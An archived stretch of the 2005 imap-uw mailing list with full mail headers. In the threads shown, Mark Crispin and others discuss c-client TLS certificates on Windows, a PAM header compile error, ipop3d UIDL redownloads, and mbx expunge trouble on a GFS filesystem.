(8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j53Ma3XP028294 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 3 Jun 2005 15:36:03 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j53MZQQK030691; Fri, 3 Jun 2005 15:35:26 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j53MZPMT030683 for ; Fri, 3 Jun 2005 15:35:25 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j53MZPXx017174 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 3 Jun 2005 15:35:25 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j53MZOvM032343 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 3 Jun 2005 15:35:24 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j53MZOqF019642 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 3 Jun 2005 15:35:24 -0700 Date: Fri, 3 Jun 2005 15:33:21 -0700 (Pacific Daylight Time) From: Mark Crispin To: Mike Schmidt Subject: Re: [Imap-uw] Where does c-client smtp get its certificates? In-Reply-To: <42A0D846.1020902@sepia.com> Message-ID: References: <42A0D846.1020902@sepia.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu The Windows SSL code in c-client (which uses Microsoft SSPI) doesn't attempt to do anything about client certificates. It only validates the server certificate. If client certificates are used at all in the negotiation, it is SSPI/Windows that is doing that. If you want to try to implement client certificates, the routine that you need to modify is ssl_start() in imap-200?/src/osdep/nt/ssl_w2k.c (maybe also ssl_nt.c and ssl_old.c). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jun 3 22:23:12 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 3 Jun 2005 22:23:12 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j545NC4q026686 for ; Fri, 3 Jun 2005 22:23:12 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j545NABq013718 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 3 Jun 2005 22:23:11 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j545MIfw030940; Fri, 3 Jun 2005 22:22:18 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j545MGQG030929 for ; Fri, 3 Jun 2005 22:22:16 -0700 Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j545MFHV031669 for ; Fri, 3 Jun 2005 22:22:16 -0700 Received: from deepspace.sepia.com ([205.236.40.42]) by VL-MO-MR007.ip.videotron.ca (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep 8 2003)) with ESMTPA id <0IHJ00CX8O939P@VL-MO-MR007.ip.videotron.ca> for imap-uw@u.washington.edu; Sat, 04 Jun 2005 01:22:15 -0400 (EDT) Received: from [172.16.56.1] ([205.236.40.161]) (authenticated bits=0) by deepspace.sepia.com (8.12.10/8.12.10) with ESMTP id j545LJ1L006141 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 04 Jun 2005 01:21:19 -0400 Date: Sat, 04 Jun 2005 01:22:19 -0400 From: Mike Schmidt Subject: Re: [Imap-uw] Where does c-client smtp get its certificates? In-reply-to: To: Mark Crispin Message-id: <42A13A8B.2080209@sepia.com> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) References: <42A0D846.1020902@sepia.com> X-Scanned-By: MIMEDefang 2.49 on 140.142.33.15 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Thanks, Mark. I clearly see the certificates from the client in sendmail's log file. Here's an example: Jun 3 13:09:14 st sendmail[18951]: STARTTLS=server, cert-subject=/DC=com/DC=TT-eXpress/OU=Main+20Directory/CN=Mike+20Schmidt/serialNumber=17, cert-issuer=/DC=com/DC=TT-eXpress/CN=TT-eXpress+20Root+20Authority+20CA+201, verifymsg=ok This is clearly my certificate used for the TLS connection. If I understand correctly, c-client isn't doing the TLS negociation, Microsoft SSPI is. Sometimes there's no certificate, so I guess in that case only the server cert is checked. I must say that I'm really pleasantly surprised by the way c-clients handles this. It works beautifully. Now, all I need to do is get some control over the client certs. Overall, I find my experience with c-client to be very positive. Thanks, Mark. I appreciate c-client more and more as I work with it. Mike Mark Crispin wrote: > The Windows SSL code in c-client (which uses Microsoft SSPI) doesn't > attempt to do anything about client certificates. It only validates > the server certificate. If client certificates are used at all in the > negotiation, it is SSPI/Windows that is doing that. > > If you want to try to implement client certificates, the routine that > you need to modify is ssl_start() in imap-200?/src/osdep/nt/ssl_w2k.c > (maybe also ssl_nt.c and ssl_old.c). > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sat Jun 11 13:17:46 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 11 Jun 2005 13:17:46 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5BKHkuY016963 for ; Sat, 11 Jun 2005 13:17:46 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5BKHjDk029516 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 11 Jun 2005 13:17:46 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5BKGaFF013636; Sat, 11 Jun 2005 13:16:36 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5BKGZ1o013620 for ; Sat, 11 Jun 2005 13:16:35 -0700 Received: from relay1.mail.vrmd.de (relay1.mail.vrmd.de [81.28.232.18]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5BKGX2w011738 for ; Sat, 11 Jun 2005 13:16:34 -0700 Received: from [80.171.45.12] (helo=[192.168.1.20]) by vm8.bln2.vrmd.de with asmtp (Exim 4.41) id 1DhCPC-0007Ow-Gc for imap-uw@u.washington.edu; Sat, 11 Jun 2005 22:16:34 +0200 Mime-Version: 1.0 (Apple Message framework v730) Content-Transfer-Encoding: 7bit Message-Id: <4CCA7CC9-E99F-4A9F-A951-41AB042BC1E6@mawtec.de> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: imap-uw@u.washington.edu From: Martin Weil Subject: [Imap-uw] Compile Error Date: Sat, 11 Jun 2005 22:16:26 +0200 X-Mailer: Apple Mail (2.730) X-Relay-User: mweil@mawtec.de X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT_APPLEMAIL 0, __X_MAILER_APPLEMAIL 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi there! I am trying to compile uw imap 2004d from source on a debian sarge system. I downloaded UW Imap from the servers and extracted it. I tried to compile it with the following command Before that I checked the Makefile if everything is allright, which is true. So I changed nothing. make ldb this is the important last part of the output... `cat CCTYPE` -c `cat CFLAGS` `cat OSCFLAGS` -c osdep.c osdep.c:71:31: security/pam_appl.h: Datei oder Verzeichnis nicht gefunden osdep.c:88: Warnung: `struct pam_response' declared inside parameter list osdep.c:88: Warnung: its scope is only this definition or declaration, which is probably not what you want osdep.c:88: Warnung: `struct pam_message' declared inside parameter list osdep.c: In Funktion ?checkpw_conv?: osdep.c:92: error: invalid application of `sizeof' to an incomplete type osdep.c:93: error: dereferencing pointer to incomplete type osdep.c:94: error: `PAM_PROMPT_ECHO_ON' undeclared (first use in this function) osdep.c:94: error: (Each undeclared identifier is reported only once osdep.c:94: error: for each function it appears in.) osdep.c:95: error: invalid use of undefined type `struct pam_response' osdep.c:95: error: dereferencing pointer to incomplete type osdep.c:95: error: `PAM_SUCCESS' undeclared (first use in this function) osdep.c:96: error: invalid use of undefined type `struct pam_response' osdep.c:96: error: dereferencing pointer to incomplete type osdep.c:98: error: `PAM_PROMPT_ECHO_OFF' undeclared (first use in this function) osdep.c:99: error: invalid use of undefined type `struct pam_response' osdep.c:99: error: dereferencing pointer to incomplete type osdep.c:100: error: invalid use of undefined type `struct pam_response' osdep.c:100: error: dereferencing pointer to incomplete type osdep.c:102: error: `PAM_TEXT_INFO' undeclared (first use in this function) osdep.c:103: error: `PAM_ERROR_MSG' undeclared (first use in this function) osdep.c:104: error: invalid use of undefined type `struct pam_response' osdep.c:104: error: dereferencing pointer to incomplete type osdep.c:105: error: invalid use of undefined type `struct pam_response' osdep.c:105: error: dereferencing pointer to incomplete type osdep.c:109: error: `PAM_CONV_ERR' undeclared (first use in this function) osdep.c: Auf h?chster Ebene: osdep.c:120: error: Syntaxfehler before '*' token osdep.c: In Funktion ?checkpw_cleanup?: osdep.c:125: error: `hdl' undeclared (first use in this function) osdep.c:125: error: `PAM_DELETE_CRED' undeclared (first use in this function) osdep.c:126: error: `PAM_SUCCESS' undeclared (first use in this function) osdep.c: In Funktion ?checkpw?: osdep.c:137: error: `pam_handle_t' undeclared (first use in this function) osdep.c:137: error: `hdl' undeclared (first use in this function) osdep.c:138: error: storage size of `conv' isn't known osdep.c:145: error: `PAM_SUCCESS' undeclared (first use in this function) osdep.c:146: error: `PAM_RHOST' undeclared (first use in this function) osdep.c:149: error: `PAM_ESTABLISH_CRED' undeclared (first use in this function) osdep.c:151: error: `PAM_DELETE_CRED' undeclared (first use in this function) osdep.c:152: error: `PAM_AUTH_ERR' undeclared (first use in this function) make[3]: *** [osdep.o] Fehler 1 make[3]: Leaving directory `/home/mweil/imap-2004d/c-client' make[2]: *** [lnp] Fehler 2 make[2]: Leaving directory `/home/mweil/imap-2004d/c-client' make[1]: *** [OSTYPE] Fehler 2 make[1]: Leaving directory `/home/mweil/imap-2004d' make: *** [ldb] Fehler 2 mweil@server1:~/imap-2004d$ I suppose there is some gcc part missing.. I compiled uw imap myself before on this machine, and never had any problems, until Debian was reinstalled... Thanks for every help. Best Regards Martin Weil _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sat Jun 11 14:34:25 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 11 Jun 2005 14:34:24 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5BLYOMi019674 for ; Sat, 11 Jun 2005 14:34:24 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5BLYN6j032632 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 11 Jun 2005 14:34:23 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5BLXISD018641; Sat, 11 Jun 2005 14:33:18 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5BLXH2J018633 for ; Sat, 11 Jun 2005 14:33:17 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5BLXGKn002577 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sat, 11 Jun 2005 14:33:17 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5BLXGac027818 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 11 Jun 2005 14:33:16 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5BLXDIS004531 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sat, 11 Jun 2005 14:33:15 -0700 Date: Sat, 11 Jun 2005 14:33:13 -0700 (PDT) From: Mark Crispin To: Martin Weil Subject: Re: [Imap-uw] Compile Error In-Reply-To: <4CCA7CC9-E99F-4A9F-A951-41AB042BC1E6@mawtec.de> Message-ID: References: <4CCA7CC9-E99F-4A9F-A951-41AB042BC1E6@mawtec.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Sat, 11 Jun 2005, Martin Weil wrote: > osdep.c:71:31: security/pam_appl.h: Datei oder Verzeichnis nicht gefunden This is the underlying cause of the problem. The system file /usr/include/security/pam_appl.h is not installed on your system. You need this file in order to build applications that use PAM. Apple Mac OS X has it installed on /usr/include/pam/pam_appl.h See if it is there. If it is, let me know and I'll give you a workaround that you can use. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sat Jun 11 15:16:34 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 11 Jun 2005 15:16:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5BMGX3m021123 for ; Sat, 11 Jun 2005 15:16:33 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5BMGW5o010278 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 11 Jun 2005 15:16:32 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5BMFQkL022187; Sat, 11 Jun 2005 15:15:26 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5BMFOB7022179 for ; Sat, 11 Jun 2005 15:15:24 -0700 Received: from relay1.mail.vrmd.de (relay1.mail.vrmd.de [81.28.232.18]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5BMFNsr012789 for ; Sat, 11 Jun 2005 15:15:24 -0700 Received: from [80.171.45.12] (helo=[192.168.1.20]) by vm8.bln2.vrmd.de with asmtp (Exim 4.41) id 1DhEGC-0008Nh-Te; Sun, 12 Jun 2005 00:15:24 +0200 In-Reply-To: References: <4CCA7CC9-E99F-4A9F-A951-41AB042BC1E6@mawtec.de> Mime-Version: 1.0 (Apple Message framework v730) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <5C274FD8-06B7-4D65-BA3D-917A09DF6BBD@mawtec.de> Content-Transfer-Encoding: 7bit From: Martin Weil Subject: Re: [Imap-uw] Compile Error Date: Sun, 12 Jun 2005 00:15:22 +0200 To: Mark Crispin X-Mailer: Apple Mail (2.730) X-Relay-User: mweil@mawtec.de X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT_APPLEMAIL 0, __X_MAILER_APPLEMAIL 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Am 11.06.2005 um 23:33 schrieb Mark Crispin: > On Sat, 11 Jun 2005, Martin Weil wrote: > >> osdep.c:71:31: security/pam_appl.h: Datei oder Verzeichnis nicht >> gefunden >> > > This is the underlying cause of the problem. The system file > /usr/include/security/pam_appl.h > is not installed on your system. You need this file in order to > build applications that use PAM. > > Apple Mac OS X has it installed on > /usr/include/pam/pam_appl.h > See if it is there. If it is, let me know and I'll give you a > workaround that you can use. I solved it by installing the libpam0g-dev package via apt-get. Seemed like the file is included in this packge. Thank you for your help. Best Regards Martin Weil _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Jun 14 09:59:10 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 14 Jun 2005 09:59:09 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5EGx9R4026958 for ; Tue, 14 Jun 2005 09:59:09 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5EGx8eN001724 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 14 Jun 2005 09:59:09 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5EGwjbT024385; Tue, 14 Jun 2005 09:58:46 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5EGwi9Q024376 for ; Tue, 14 Jun 2005 09:58:44 -0700 Received: from calefon.info.unlp.edu.ar (calefon.info.unlp.edu.ar [163.10.5.11]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5EGwhKB003382 for ; Tue, 14 Jun 2005 09:58:44 -0700 Received: from localhost (localhost.info.unlp.edu.ar [127.0.0.1]) by calefon.info.unlp.edu.ar (Postfix) with ESMTP id 4979974DA for ; Tue, 14 Jun 2005 14:09:16 -0300 (ART) Received: from calefon.info.unlp.edu.ar ([127.0.0.1]) by localhost (calefon.info.unlp.edu.ar [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 99988-10 for ; Tue, 14 Jun 2005 14:09:04 -0300 (ART) Received: from [163.10.5.55] (eperdu.info.unlp.edu.ar [163.10.5.55]) by calefon.info.unlp.edu.ar (Postfix) with ESMTP id AE9C0750F for ; Tue, 14 Jun 2005 14:09:04 -0300 (ART) Message-ID: <42AF0DAF.2020103@sol.info.unlp.edu.ar> Date: Tue, 14 Jun 2005 14:02:39 -0300 From: Juan Pablo Roig User-Agent: Mozilla Thunderbird 1.0 (X11/20041206) X-Accept-Language: es-ar, es, en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at info.unlp.edu.ar X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __FRAUD_419_INTRO 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Problems with ipop3d X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello, my name is Juan Pablo Roig and I have running v2003.83 in my solaris 9, and the problem is that some clients have uses clients like Outlook or Eudora. They configure the clients to use server pop and they leaves the messagges in the server, and sometimes the pop server downloads all the messagges again including those thath are marked like read. I start reading the RFC of Post Office Protocol and the implementation of the clients, adnd i fund thath the clients uses some database thath marks the maessagges that they was read whit the unique-id that it obtains with the command UIDL to the server. So i think thaht my pop server is changing these ids but i din't find nothinfg abut that, if anyone can help me. .. A lot of thanks!!! Sorry for my english!!! _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Jun 14 14:48:11 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 14 Jun 2005 14:48:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5ELmAoV010349 for ; Tue, 14 Jun 2005 14:48:10 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5ELm9PT019739 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 14 Jun 2005 14:48:10 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5ELlkQg002926; Tue, 14 Jun 2005 14:47:46 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5ELljSf002916 for ; Tue, 14 Jun 2005 14:47:45 -0700 Received: from bluetwo.park.edu (bluetwo.park.edu [204.185.202.224]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5ELlgW0024810 for ; Tue, 14 Jun 2005 14:47:42 -0700 Received: from [172.16.3.42] ([172.16.3.42]) by bluetwo.park.edu with Microsoft SMTPSVC(5.0.2195.6713); Tue, 14 Jun 2005 16:47:42 -0500 Message-ID: <42AF5091.8060007@park.edu> Date: Tue, 14 Jun 2005 16:48:01 -0500 From: Shaun Ferguson Organization: Park University User-Agent: Mozilla Thunderbird 1.0.2 (X11/20050324) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 14 Jun 2005 21:47:42.0402 (UTC) FILETIME=[B11DEA20:01C5712A] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] imapd expunge trouble X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Greetings, We run a clustered student email system, using uw-imapd on the back-end for mailbox storage and retrieval. We recently expanded our storage for student accounts, which are held on a GFS file-system (RedHat GFS from CVS, circa May 2005). In the process of doing this, we upgraded our backend from a uw-imapd-2001 branch on RedHat 9 to uw-imapd-2004d on Debian Sarge (we are NOT using the Debian version of uw-imapd, since we require different compile flags). It recently came to our attention that the messages being marked for deletion in users' mbx folders are shown to be expunged without error (we've run by-hand imapd connection tests), and subsequent reads on the mbx file show no existence of the "expunged" messages, but the data still remains in the file. Thus, the messages have become "lost" in the file, as far as the uw-imapd utilities know. It doesn't appear to be corruption of the file format, per se, since other non-expunged messages are still accessable to the users (as are new messages that arrive). The expunge is simply not removing the messages from the file. We have noticed that when the message is "expunged" but doesn't actually get deleted, the flags in the mbx header of the message changes as follows: Before expunge: 14-Jun-2005 15:54:53 -0500,1377;000000000003-00000048 After expunge: 14-Jun-2005 15:54:53 -0500,1377;000000008003-00000048 Once the new '8' flag is set, the message goes "invisible" to uw-imapd. We've run local filesystem tests in the exact same fashion as we have on the GFS filesystem. We can consistently and properly expunge messages from the mbx folders stored on the ext3 filesystem, without issue. We have not yet been able to do so on the GFS filesystem. We have also experienced trouble with tmail and locking under a clustered environment, which causes corruption of the mbx folder when two messages are delivered at the same time (common in a clustered environment), and have been working on that issue to near-fruition with another coworker who is very familiar with the uw-imapd source (who has unfortunately been called away on another project). This may be a related locking problem, depending on the expunge operation's steps, and we have not been able to research or otherwise discover a solution. Any assistance that can be rendered is very much appreciated. Thank you, Shaun Ferguson _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Jun 14 15:51:24 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user 